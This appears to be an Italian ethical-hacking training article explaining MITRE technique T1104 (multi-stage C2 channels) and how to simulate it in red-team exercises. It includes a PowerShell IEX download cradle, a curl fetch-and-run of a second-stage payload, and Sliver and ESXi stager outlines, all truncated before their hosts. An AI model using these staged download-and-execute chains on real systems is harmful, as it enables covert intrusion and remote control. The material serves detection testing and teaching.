Canali C2 Multi-Stadio: Multi-Stage Channels (T1104)
La tecnica T1104 - Multi-Stage Channels descrive l'uso di più stadi di comunicazione Command and Control da parte degli attaccanti, ciascuno attivato in condizioni diverse o con funzioni specifiche. Rientra nella tattica TA0011 (Command and Control) e rappresenta una delle strategie più efficaci per offuscare il canale di comando e complicare il lavoro dei difensori.
Il meccanismo tipico prevede che uno strumento di accesso remoto contatti un server di primo stadio, il quale raccoglie informazioni basilari sull'host, aggiorna gli impianti e talvolta scarica un secondo RAT più completo. Questo secondo RAT si connette a un server di secondo stadio, generalmente ospitato su infrastruttura completamente separata, dove avviene l'interazione operativa vera e propria: reverse shell, esfiltrazione, movimento laterale.
La separazione infrastrutturale ha un duplice scopo. Da un lato consente all'attaccante di preservare il secondo stadio anche se il primo viene identificato e bloccato; dall'altro rende ardua la correlazione tra le due catene di comunicazione, poiché non condividono ASN, domini né certificati. Alcuni loader implementano inoltre Fallback Channels per garantire persistenza del canale in caso di takedown parziali.
I dati MITRE censiscono 4 gruppi APT, 10 famiglie di malware e 1 campagna che adottano questo schema, con impatto trasversale su Windows, Linux, macOS ed ESXi.
Simulare T1104 in un esercizio red team richiede la separazione netta tra infrastruttura di staging e infrastruttura di interazione. Un'architettura minimale prevede un primo server che ospita il loader iniziale e risponde con un payload di seconda fase, e un secondo server — su ASN e provider distinti — che gestisce la sessione interattiva.
Per il primo stadio, framework come Sliver (open source) e Mythic (open source) supportano nativamente la logica di stager separati. Con Sliver puoi generare uno stager HTTP che scarica il secondo stadio da un endpoint diverso:
generate stager --lhost
Il payload risultante contatta il primo listener, riceve istruzioni e successivamente il secondo stadio viene consegnato da un listener indipendente configurato su un dominio non correlato. In Mythic, la stessa logica si ottiene combinando un payload Apollo o Poseidon con profili C2 diversi (es. http per lo stager, websocket o dynamichttp per l'implant finale).
Un'alternativa più artigianale usa Cobalt Strike (a pagamento) con Malleable C2 profiles differenti per stager e beacon, oppure una catena manuale basata su PowerShell:
IEX (New-Object Net.WebClient).DownloadString('
dove lo script scaricato a sua volta invoca un secondo download da un dominio distinto per il RAT completo.
Su Linux, la simulazione può usare Merlin (open source) o una combinazione di curl e implant custom. Un pattern comune replicato in laboratorio:
curl -s
dove /tmp/.stage2 apre connessione verso un secondo host completamente separato.
Su macOS, Poseidon di Mythic consente stager scritti in Objective-C che usano NSURLSession per il primo contatto e successivamente caricano un secondo modulo verso infrastruttura distinta. Su ESXi, la simulazione è più delicata e va condotta solo in lab isolati: un'implementazione minimale usa uno script shell schedulato via crond che contatta un host di staging e successivamente lancia un binario ELF statico verso un secondo endpoint.
Durante l'esercizio è cruciale registrare i tempi di transizione tra stadi (idealmente entro 1-5 minuti) per validare le regole di detection del team blue, e variare i profili TLS/User-Agent tra i due stadi per testare la capacità del SOC di correlare eventi apparentemente scorrelati.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo